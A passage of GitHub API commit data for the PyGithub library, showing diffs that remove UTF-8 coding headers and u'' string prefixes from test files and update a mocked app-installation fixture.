u'\"starred_url\":\"https://api.github.com/users/foo/starred{/owner}{/repo}\",'\n- u'\"subscriptions_url\":\"https://api.github.com/users/foo/subscriptions\",'\n- u'\"organizations_url\":\"https://api.github.com/users/foo/orgs\",'\n- u'\"repos_url\":\"https://api.github.com/users/foo/repos\",'\n- u'\"events_url\":\"https://api.github.com/users/foo/events{/privacy}\",'\n- u'\"received_events_url\":\"https://api.github.com/users/foo/received_events\",'\n- u'\"type\":\"Organization\",\"site_admin\":false},\"repository_selection\":\"all\",'\n- u'\"access_tokens_url\":\"https://api.github.com/app/installations/111111/access_tokens\",'\n- u'\"repositories_url\":\"https://api.github.com/installation/repositories\",'\n- u'\"html_url\":\"https://github.com/organizations/foo/settings/installations/111111\",'\n- u'\"app_id\":11111,\"target_id\":11111111,\"target_type\":\"Organization\",'\n- u'\"permissions\":{\"issues\":\"write\",\"pull_requests\":\"write\",\"statuses\":\"write\",\"contents\":\"read\",'\n- u'\"metadata\":\"read\"},\"events\":[\"pull_request\",\"release\"],\"created_at\":\"2019-04-17T16:10:37.000Z\",'\n- u'\"updated_at\":\"2019-05-03T06:27:48.000Z\",\"single_file_name\":null}'\n+ '{\"id\":111111,\"account\":{\"login\":\"foo\",\"id\":11111111,'\n+ '\"node_id\":\"foobar\",'\n+ '\"avatar_url\":\"https://avatars3.githubusercontent.com/u/11111111?v=4\",'\n+ '\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/foo\",'\n+ '\"html_url\":\"https://github.com/foo\",'\n+ '\"followers_url\":\"https://api.github.com/users/foo/followers\",'\n+ '\"following_url\":\"https://api.github.com/users/foo/following{/other_user}\",'\n+ '\"gists_url\":\"https://api.github.com/users/foo/gists{/gist_id}\",'\n+ '\"starred_url\":\"https://api.github.com/users/foo/starred{/owner}{/repo}\",'\n+ '\"subscriptions_url\":\"https://api.github.com/users/foo/subscriptions\",'\n+ '\"organizations_url\":\"https://api.github.com/users/foo/orgs\",'\n+ '\"repos_url\":\"https://api.github.com/users/foo/repos\",'\n+ '\"events_url\":\"https://api.github.com/users/foo/events{/privacy}\",'\n+ '\"received_events_url\":\"https://api.github.com/users/foo/received_events\",'\n+ '\"type\":\"Organization\",\"site_admin\":false},\"repository_selection\":\"all\",'\n+ '\"access_tokens_url\":\"https://api.github.com/app/installations/111111/access_tokens\",'\n+ '\"repositories_url\":\"https://api.github.com/installation/repositories\",'\n+ '\"html_url\":\"https://github.com/organizations/foo/settings/installations/111111\",'\n+ '\"app_id\":11111,\"target_id\":11111111,\"target_type\":\"Organization\",'\n+ '\"permissions\":{\"issues\":\"write\",\"pull_requests\":\"write\",\"statuses\":\"write\",\"contents\":\"read\",'\n+ '\"metadata\":\"read\"},\"events\":[\"pull_request\",\"release\"],\"created_at\":\"2019-04-17T16:10:37.000Z\",'\n+ '\"updated_at\":\"2019-05-03T06:27:48.000Z\",\"single_file_name\":null}'\n )\n \n def __call__(self, *args, **kwargs):"},{"sha":"3e7027518c115761e9207dafa316ce1b2c7b68bc","filename":"tests/Github_.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithub_.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithub_.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithub_.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"86c0257ae135e52ba4372f95077301f16d84a63d","filename":"tests/Hook.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FHook.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FHook.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FHook.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"bb2014b33325a5ff32889967f5811519ebcfa712","filename":"tests/Issue.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6a4046aa4ffd6b51841f6a996ff45430c5a1fc5e","filename":"tests/Issue131.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue131.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue131.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue131.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"78a24452cf7eaee05881c14f4c499cdf7a29baed","filename":"tests/Issue133.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue133.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue133.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue133.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"13d971c26391346dc77bee50d471fcf8aea8d73b","filename":"tests/Issue134.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue134.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue134.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue134.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"bcc44da7bc3955ab5ead5974714787ecc504a613","filename":"tests/Issue139.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue139.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue139.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue139.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"e5433f4339514de4a25a1516b0e6da58ed6143e1","filename":"tests/Issue140.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue140.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue140.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue140.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"4f5f8fb244fa258f7c65a046c1812967fbf3e654","filename":"tests/Issue142.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue142.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue142.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue142.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"dfe55a44fa37ef82a051c70d71d9a6a37729e750","filename":"tests/Issue158.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue158.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue158.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue158.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"11b57c996ea1a46d149a9eca7b6eb9de5286f5fb","filename":"tests/Issue174.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue174.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue174.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue174.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"9aea863e1e68e1b683b1167f7af70d23be8a7698","filename":"tests/Issue214.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue214.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue214.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue214.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 David Farr #"},{"sha":"988467167f4739f70bb90f14bfc03d1c776ebf8b","filename":"tests/Issue216.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue216.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue216.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue216.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"6b46c2c71f328e160d535f513f415340f9c80c4f","filename":"tests/Issue278.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue278.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue278.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue278.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2014 Vincent Jacques #"},{"sha":"a260fe521bb1b80be5e4ee8877e3f1f67340e3dd","filename":"tests/Issue33.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue33.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue33.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue33.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"105351074187707d09ad4da0d7c6acdcad5bbe39","filename":"tests/Issue494.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue494.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue494.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue494.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Sam Corbett #\n@@ -34,7 +32,7 @@ def setUp(self):\n \n def testRepr(self):\n expected = (\n- u'PullRequest(title=\"Change SetHostnameCustomizer to check if '\n- u'/etc/sysconfig/network exist…\", number=465)'\n+ 'PullRequest(title=\"Change SetHostnameCustomizer to check if '\n+ '/etc/sysconfig/network exist…\", number=465)'\n )\n self.assertEqual(self.pull.__repr__(), expected)"},{"sha":"81c7dd6f53b588772f4bd0b87a12d4cb49653c70","filename":"tests/Issue50.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue50.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue50.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue50.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d93ca051a950887e12c2d0703174c2335e48dd1b","filename":"tests/Issue54.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue54.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue54.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue54.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f30a738c014c204ca6fce1374a5552b66eb80c6e","filename":"tests/Issue572.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue572.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue572.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue572.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Shinichi TAMURA #"},{"sha":"11fcd49f034a24c83bfa7599dfcd15da679e725c","filename":"tests/Issue80.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue80.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue80.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue80.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5f31412be0e1c36fa315755a3b9a8f3491e78376","filename":"tests/Issue823.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue823.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue823.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue823.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"d78e755dc9eb828ba1b8d118a23781804daa4964","filename":"tests/Issue87.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue87.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue87.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue87.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a08e0c9dd2c5fcb4cc9c31d6540d88972095e2d5","filename":"tests/Issue937.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue937.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue937.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue937.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Vinay Hegde #"},{"sha":"59f812b656cc41437522df6ea411b06bd368746b","filename":"tests/Issue945.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue945.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue945.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue945.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Kelvin Wong (https://github.com/netsgnut) #"},{"sha":"f517a712edbb4da23fc2339586596e72eaf854ac","filename":"tests/IssueComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssueComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"837d7bb00cd21f352e43d0e7fc018e6fb6144d8a","filename":"tests/IssueEvent.py","status":"modified","additions":5,"deletions":7,"changes":12,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssueEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssueEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -420,8 +418,8 @@ def testEvent_renamed_Attributes(self):\n self.assertEqual(\n self.event_renamed.rename,\n {\n- u\"to\": u\"Adding new attributes to IssueEvent\",\n- u\"from\": u\"Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)\",\n+ \"to\": \"Adding new attributes to IssueEvent\",\n+ \"from\": \"Adding new attributes to IssueEvent Object (DO NOT MERGE - SEE NOTES)\",\n },\n )\n self.assertEqual(self.event_renamed.dismissed_review, None)\n@@ -663,9 +661,9 @@ def testEvent_review_dismissed_Attributes(self):\n self.assertEqual(\n self.event_review_dismissed.dismissed_review,\n {\n- u\"dismissal_message\": u\"dismiss\",\n- u\"state\": u\"changes_requested\",\n- u\"review_id\": 145431295,\n+ \"dismissal_message\": \"dismiss\",\n+ \"state\": \"changes_requested\",\n+ \"review_id\": 145431295,\n },\n )\n self.assertEqual(self.event_review_dismissed.lock_reason, None)"},{"sha":"1006554425bd118f8fb263a950fa8e3f712c0d47","filename":"tests/Label.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLabel.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLabel.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLabel.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"57a956c69cd305e83006f7bd92adcd592e87577a","filename":"tests/License.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLicense.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLicense.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLicense.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Wan Liuyang #"},{"sha":"3f277f618e36eed68bebae6ae8154a75bbef1ee0","filename":"tests/Logging_.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLogging_.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FLogging_.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FLogging_.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -62,7 +60,7 @@ def debug(\n output,\n ):\n self.verb = verb\n- self.url = \"%s://%s%s\" % (scheme, hostname, fragment)\n+ self.url = f\"{scheme}://{hostname}{fragment}\"\n self.requestHeaders = requestHeaders\n self.input = input_\n self.status = status"},{"sha":"bc19651f45f777ab44b63f9bcea1538ed8dbd367","filename":"tests/Markdown.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMarkdown.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMarkdown.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMarkdown.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f503a6d275c244fe81dab39c63d8e6d9ab970bd8","filename":"tests/Migration.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMigration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMigration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMigration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"82da26894cacdee6beaea46cf151c0fed1ea9a25","filename":"tests/Milestone.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMilestone.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FMilestone.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FMilestone.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"42dba7bcc3a664666e86de3e9bef6022ad1db137","filename":"tests/NamedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNamedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"bd7804dcfc555efb945760f0e236b2638423f986","filename":"tests/NamedUser1430.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser1430.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNamedUser1430.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNamedUser1430.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Anuj Bansal #"},{"sha":"44f937f2335c0cfd2b8c8f99ff7544f9e099c9f5","filename":"tests/Notification.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNotification.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FNotification.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FNotification.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"de59a52383750e66175c213e542a7aa8fbea711f","filename":"tests/Organization.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FOrganization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FOrganization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -389,8 +387,8 @@ def testInviteUserAsNonOwner(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": 